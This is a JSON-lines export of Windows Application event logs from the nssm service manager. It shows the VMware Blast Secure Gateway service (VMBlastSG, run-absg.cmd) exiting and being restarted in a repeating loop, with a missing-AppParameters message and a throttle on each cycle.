{"@timestamp":1646776038910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163335}}
{"@timestamp":1646776167472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163336}}
{"@timestamp":1646776167472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163337}}
{"@timestamp":1646776167474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153772","0"]}}},"module":"Application","provider":"nssm","sequence":163338}}
{"@timestamp":1646776167476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153772","153772","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163339}}
{"@timestamp":1646776167495,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163340}}
{"@timestamp":1646776167496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163341}}
{"@timestamp":1646776167497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163342}}
{"@timestamp":1646776167497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163343}}
{"@timestamp":1646776295977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163344}}
{"@timestamp":1646776295977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163345}}
{"@timestamp":1646776295978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160752","0"]}}},"module":"Application","provider":"nssm","sequence":163346}}
{"@timestamp":1646776295979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160752","160752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163347}}
{"@timestamp":1646776295997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163348}}
{"@timestamp":1646776295997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163349}}
{"@timestamp":1646776295998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163350}}
{"@timestamp":1646776295999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163351}}
{"@timestamp":1646776424522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163352}}
{"@timestamp":1646776424525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163353}}
{"@timestamp":1646776424526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159832","0"]}}},"module":"Application","provider":"nssm","sequence":163354}}
{"@timestamp":1646776424526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159832","159832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163355}}
{"@timestamp":1646776424547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163356}}
{"@timestamp":1646776424548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163357}}
{"@timestamp":1646776424548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163358}}
{"@timestamp":1646776424549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163359}}
{"@timestamp":1646776553041,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163360}}
{"@timestamp":1646776553043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163361}}
{"@timestamp":1646776553043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160024","0"]}}},"module":"Application","provider":"nssm","sequence":163362}}
{"@timestamp":1646776553044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160024","160024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163363}}
{"@timestamp":1646776553059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163364}}
{"@timestamp":1646776553060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163365}}
{"@timestamp":1646776553060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163366}}
{"@timestamp":1646776553061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163367}}
{"@timestamp":1646776681557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163368}}
{"@timestamp":1646776681558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163369}}
{"@timestamp":1646776681558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160324","0"]}}},"module":"Application","provider":"nssm","sequence":163370}}
{"@timestamp":1646776681560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160324","160324","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163371}}
{"@timestamp":1646776681582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163372}}
{"@timestamp":1646776681582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163373}}
{"@timestamp":1646776681583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163374}}
{"@timestamp":1646776681583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163375}}
{"@timestamp":1646776810062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163376}}
{"@timestamp":1646776810063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163377}}
{"@timestamp":1646776810063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157684","0"]}}},"module":"Application","provider":"nssm","sequence":163378}}
{"@timestamp":1646776810064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157684","157684","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163379}}
{"@timestamp":1646776810084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163380}}
{"@timestamp":1646776810084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163381}}
{"@timestamp":1646776810085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163382}}
{"@timestamp":1646776810086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163383}}
{"@timestamp":1646776938565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163384}}
{"@timestamp":1646776938567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163385}}
{"@timestamp":1646776938568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160520","0"]}}},"module":"Application","provider":"nssm","sequence":163386}}
{"@timestamp":1646776938568,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160520","160520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163387}}
{"@timestamp":1646776938589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163388}}
{"@timestamp":1646776938589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163389}}
{"@timestamp":1646776938590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163390}}
{"@timestamp":1646776938591,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163391}}
{"@timestamp":1646777067218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163392}}
{"@timestamp":1646777067220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163393}}
{"@timestamp":1646777067221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159808","0"]}}},"module":"Application","provider":"nssm","sequence":163394}}
{"@timestamp":1646777067221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159808","159808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163395}}
{"@timestamp":1646777067242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163396}}
{"@timestamp":1646777067242,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163397}}
{"@timestamp":1646777067243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163398}}
{"@timestamp":1646777067244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163399}}
{"@timestamp":1646777195726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163400}}
{"@timestamp":1646777195726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163401}}
{"@timestamp":1646777195727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160572","0"]}}},"module":"Application","provider":"nssm","sequence":163402}}
{"@timestamp":1646777195728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160572","160572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163403}}
{"@timestamp":1646777195750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163404}}
{"@timestamp":1646777195750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163405}}
{"@timestamp":1646777195750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163406}}
{"@timestamp":1646777195751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163407}}
{"@timestamp":1646777324222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163408}}
{"@timestamp":1646777324223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163409}}
{"@timestamp":1646777324227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160140","0"]}}},"module":"Application","provider":"nssm","sequence":163410}}
{"@timestamp":1646777324228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160140","160140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163411}}
{"@timestamp":1646777324249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163412}}
{"@timestamp":1646777324249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163413}}
{"@timestamp":1646777324250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163414}}
{"@timestamp":1646777324250,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163415}}
{"@timestamp":1646777452735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163416}}
{"@timestamp":1646777452735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163417}}
{"@timestamp":1646777452736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160712","0"]}}},"module":"Application","provider":"nssm","sequence":163418}}
{"@timestamp":1646777452736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160712","160712","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163419}}
{"@timestamp":1646777452758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163420}}
{"@timestamp":1646777452759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163421}}
{"@timestamp":1646777452759,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163422}}
{"@timestamp":1646777452760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163423}}
{"@timestamp":1646777581475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163424}}
{"@timestamp":1646777581477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163425}}
{"@timestamp":1646777581477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159660","0"]}}},"module":"Application","provider":"nssm","sequence":163426}}
{"@timestamp":1646777581478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159660","159660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163427}}
{"@timestamp":1646777581499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163428}}
{"@timestamp":1646777581500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163429}}
{"@timestamp":1646777581500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163430}}
{"@timestamp":1646777581501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163431}}
{"@timestamp":1646777710022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163432}}
{"@timestamp":1646777710024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163433}}
{"@timestamp":1646777710025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160440","0"]}}},"module":"Application","provider":"nssm","sequence":163434}}
{"@timestamp":1646777710026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160440","160440","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163435}}
{"@timestamp":1646777710045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163436}}
{"@timestamp":1646777710045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163437}}
{"@timestamp":1646777710046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163438}}
{"@timestamp":1646777710047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163439}}
